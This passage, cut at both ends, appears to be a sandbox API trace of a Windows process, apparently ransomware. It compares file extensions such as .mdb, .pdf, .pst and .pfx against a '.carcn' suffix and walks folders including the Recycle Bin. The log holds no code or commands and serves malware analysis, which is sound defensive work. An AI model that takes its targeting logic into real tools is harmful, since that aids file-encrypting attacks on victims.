4 [0251.266] lstrcmpiW (lpString1=".m4v", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".max") returned 4 [0251.266] lstrcmpiW (lpString1=".max", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".md") returned 3 [0251.266] lstrcmpiW (lpString1=".md", lpString2="rcn") returned -1 [0251.266] lstrlenW (lpString=".mda") returned 4 [0251.266] lstrcmpiW (lpString1=".mda", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".mdb") returned 4 [0251.266] lstrcmpiW (lpString1=".mdb", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".mde") returned 4 [0251.266] lstrcmpiW (lpString1=".mde", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".mdf") returned 4 [0251.267] lstrcmpiW (lpString1=".mdf", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mdw") returned 4 [0251.267] lstrcmpiW (lpString1=".mdw", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mef") returned 4 [0251.267] lstrcmpiW (lpString1=".mef", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mft") returned 4 [0251.267] lstrcmpiW (lpString1=".mft", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mfw") returned 4 [0251.267] lstrcmpiW (lpString1=".mfw", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mht") returned 4 [0251.267] lstrcmpiW (lpString1=".mht", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mhtml") returned 6 [0251.267] lstrcmpiW (lpString1=".mhtml", lpString2=".carcn") returned 1 [0251.267] lstrlenW (lpString=".mka") returned 4 [0251.267] lstrcmpiW (lpString1=".mka", lpString2="arcn") returned -1 [0251.267] lstrlenW (lpString=".mkidx") returned 6 [0251.267] lstrcmpiW (lpString1=".mkidx", lpString2=".carcn") returned 1 [0251.267] lstrlenW (lpString=".mkv") returned 4 [0251.268] lstrcmpiW (lpString1=".mkv", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mos") returned 4 [0251.268] lstrcmpiW (lpString1=".mos", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mov") returned 4 [0251.268] lstrcmpiW (lpString1=".mov", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mp3") returned 4 [0251.268] lstrcmpiW (lpString1=".mp3", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mp4") returned 4 [0251.268] lstrcmpiW (lpString1=".mp4", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mpeg") returned 5 [0251.268] lstrcmpiW (lpString1=".mpeg", lpString2="carcn") returned -1 [0251.268] lstrlenW (lpString=".mpg") returned 4 [0251.268] lstrcmpiW (lpString1=".mpg", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mpv") returned 4 [0251.268] lstrcmpiW (lpString1=".mpv", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mrw") returned 4 [0251.268] lstrcmpiW (lpString1=".mrw", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".msg") returned 4 [0251.268] lstrcmpiW (lpString1=".msg", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".mxl") returned 4 [0251.268] lstrcmpiW (lpString1=".mxl", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".myd") returned 4 [0251.268] lstrcmpiW (lpString1=".myd", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".myi") returned 4 [0251.268] lstrcmpiW (lpString1=".myi", lpString2="arcn") returned -1 [0251.268] lstrlenW (lpString=".nef") returned 4 [0251.268] lstrcmpiW (lpString1=".nef", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".nrw") returned 4 [0251.269] lstrcmpiW (lpString1=".nrw", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".obj") returned 4 [0251.269] lstrcmpiW (lpString1=".obj", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".odb") returned 4 [0251.269] lstrcmpiW (lpString1=".odb", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".odc") returned 4 [0251.269] lstrcmpiW (lpString1=".odc", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".odm") returned 4 [0251.269] lstrcmpiW (lpString1=".odm", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".odp") returned 4 [0251.269] lstrcmpiW (lpString1=".odp", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".ods") returned 4 [0251.269] lstrcmpiW (lpString1=".ods", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".oft") returned 4 [0251.269] lstrcmpiW (lpString1=".oft", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".one") returned 4 [0251.269] lstrcmpiW (lpString1=".one", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".onepkg") returned 7 [0251.269] lstrcmpiW (lpString1=".onepkg", lpString2="].carcn") returned -1 [0251.269] lstrlenW (lpString=".onetoc2") returned 8 [0251.269] lstrcmpiW (lpString1=".onetoc2", lpString2="m].carcn") returned -1 [0251.269] lstrlenW (lpString=".opt") returned 4 [0251.269] lstrcmpiW (lpString1=".opt", lpString2="arcn") returned -1 [0251.269] lstrlenW (lpString=".oqy") returned 4 [0251.269] lstrcmpiW (lpString1=".oqy", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".orf") returned 4 [0251.270] lstrcmpiW (lpString1=".orf", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".p12") returned 4 [0251.270] lstrcmpiW (lpString1=".p12", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".p7b") returned 4 [0251.270] lstrcmpiW (lpString1=".p7b", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".p7c") returned 4 [0251.270] lstrcmpiW (lpString1=".p7c", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pam") returned 4 [0251.270] lstrcmpiW (lpString1=".pam", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pbm") returned 4 [0251.270] lstrcmpiW (lpString1=".pbm", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pct") returned 4 [0251.270] lstrcmpiW (lpString1=".pct", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pcx") returned 4 [0251.270] lstrcmpiW (lpString1=".pcx", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pdd") returned 4 [0251.270] lstrcmpiW (lpString1=".pdd", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pdf") returned 4 [0251.270] lstrcmpiW (lpString1=".pdf", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pdp") returned 4 [0251.270] lstrcmpiW (lpString1=".pdp", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pef") returned 4 [0251.270] lstrcmpiW (lpString1=".pef", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pem") returned 4 [0251.270] lstrcmpiW (lpString1=".pem", lpString2="arcn") returned -1 [0251.270] lstrlenW (lpString=".pff") returned 4 [0251.270] lstrcmpiW (lpString1=".pff", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".pfm") returned 4 [0251.271] lstrcmpiW (lpString1=".pfm", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".pfx") returned 4 [0251.271] lstrcmpiW (lpString1=".pfx", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".pgm") returned 4 [0251.271] lstrcmpiW (lpString1=".pgm", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".php") returned 4 [0251.271] lstrcmpiW (lpString1=".php", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".php3") returned 5 [0251.271] lstrcmpiW (lpString1=".php3", lpString2="carcn") returned -1 [0251.271] lstrlenW (lpString=".php4") returned 5 [0251.271] lstrcmpiW (lpString1=".php4", lpString2="carcn") returned -1 [0251.271] lstrlenW (lpString=".php5") returned 5 [0251.271] lstrcmpiW (lpString1=".php5", lpString2="carcn") returned -1 [0251.271] lstrlenW (lpString=".phtml") returned 6 [0251.271] lstrcmpiW (lpString1=".phtml", lpString2=".carcn") returned 1 [0251.271] lstrlenW (lpString=".pict") returned 5 [0251.271] lstrcmpiW (lpString1=".pict", lpString2="carcn") returned -1 [0251.271] lstrlenW (lpString=".pl") returned 3 [0251.271] lstrcmpiW (lpString1=".pl", lpString2="rcn") returned -1 [0251.271] lstrlenW (lpString=".pls") returned 4 [0251.271] lstrcmpiW (lpString1=".pls", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".pm") returned 3 [0251.271] lstrcmpiW (lpString1=".pm", lpString2="rcn") returned -1 [0251.271] lstrlenW (lpString=".png") returned 4 [0251.271] lstrcmpiW (lpString1=".png", lpString2="arcn") returned -1 [0251.271] lstrlenW (lpString=".pnm") returned 4 [0251.272] lstrcmpiW (lpString1=".pnm", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".pot") returned 4 [0251.272] lstrcmpiW (lpString1=".pot", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".potm") returned 5 [0251.272] lstrcmpiW (lpString1=".potm", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".potx") returned 5 [0251.272] lstrcmpiW (lpString1=".potx", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".ppa") returned 4 [0251.272] lstrcmpiW (lpString1=".ppa", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".ppam") returned 5 [0251.272] lstrcmpiW (lpString1=".ppam", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".ppm") returned 4 [0251.272] lstrcmpiW (lpString1=".ppm", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".pps") returned 4 [0251.272] lstrcmpiW (lpString1=".pps", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".ppsm") returned 5 [0251.272] lstrcmpiW (lpString1=".ppsm", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".ppt") returned 4 [0251.272] lstrcmpiW (lpString1=".ppt", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".pptm") returned 5 [0251.272] lstrcmpiW (lpString1=".pptm", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".pptx") returned 5 [0251.272] lstrcmpiW (lpString1=".pptx", lpString2="carcn") returned -1 [0251.272] lstrlenW (lpString=".prn") returned 4 [0251.272] lstrcmpiW (lpString1=".prn", lpString2="arcn") returned -1 [0251.272] lstrlenW (lpString=".ps") returned 3 [0251.272] lstrcmpiW (lpString1=".ps", lpString2="rcn") returned -1 [0251.272] lstrlenW (lpString=".psb") returned 4 [0251.273] lstrcmpiW (lpString1=".psb", lpString2="arcn") returned -1 [0251.273] lstrlenW (lpString=".psd") returned 4 [0251.273] lstrcmpiW (lpString1=".psd", lpString2="arcn") returned -1 [0251.273] lstrlenW (lpString=".pst") returned 4 [0251.273] lstrcmpiW (lpString1=".pst", lpString2="arcn") returned -1 [0251.273] lstrlenW (lpString=".ptx") returned 4 [0251.273] lstrcmpiW (lpString1=".ptx", lpString2="arcn") returned -1 [0251.273] lstrlenW (lpString=".pub") returned 4 [0251.273] lstrcmpiW (lpString1=".pub", lpString2="arcn") returned -1 [0251.273] lstrlenW (lpString=".pwm") returned 4 [0251.273] lstrcmpiW (lpString1=".pwm", lpString2="arcn") returned -1 [0251.273] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.273] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.273] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.273] FindClose (in: hFindFile=0x65acd0 | out: hFindFile=0x65acd0) returned 1 [0251.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0251.274] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3762070 [0251.275] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65acd0 [0251.277] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.277] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.277] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.277] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.278] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.278] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.278] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.278] FindClose (in: hFindFile=0x65acd0 | out: hFindFile=0x65acd0) returned 1 [0251.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0251.279] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0 [0251.279] FindClose (in: hFindFile=0x65af90 | out: hFindFile=0x65af90) returned 1 [0251.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0251.280] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0251.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3750060 [0251.281] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0x65acd0 [0251.281] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.281] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3762070 [0251.282] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0xffffffff [0251.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0251.282] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3762070 [0251.282] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65af90 [0251.282] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.282] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.282] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.282] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.282] FindClose (in: hFindFile=0x65af90 | out: hFindFile=0x65af90) returned 1 [0251.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0251.283] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0 [0251.283] FindClose (in: hFindFile=0x65acd0 | out: hFindFile=0x65acd0) returned 1 [0251.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0251.284] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0251.284] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0251.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3750060 [0251.284] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0x65acd0 [0251.663] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.664] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.664] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.665] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.667] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.667] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.667] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.667] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.668] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.668] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.669] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.669] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.669] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.672] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.672] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.672] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.672] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.672] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.672] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.673] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.673] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.674] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.674] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.676] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.676] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.676] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.676] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.677] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.677] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.678] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.678] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.678] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.678] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad90 [0251.682] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.682] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.682] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.682] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.683] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.683] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0251.684] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.684] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.684] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.684] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.688] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.688] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.688] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.688] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.688] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.688] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.690] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.690] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.690] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.690] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.692] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.692] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.692] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.693] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.694] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.694] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.694] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.697] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.698] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.699] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.699] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.699] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.699] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65ad10 [0251.740] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.740] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.740] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.740] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.741] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0251.741] FindClose (in: hFindFile=0x65ad10 | out: hFindFile=0x65ad10) returned 1 [0251.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0251.742] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.742] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0251.742] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.001] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.001] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.001] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.001] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.001] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.002] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.002] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 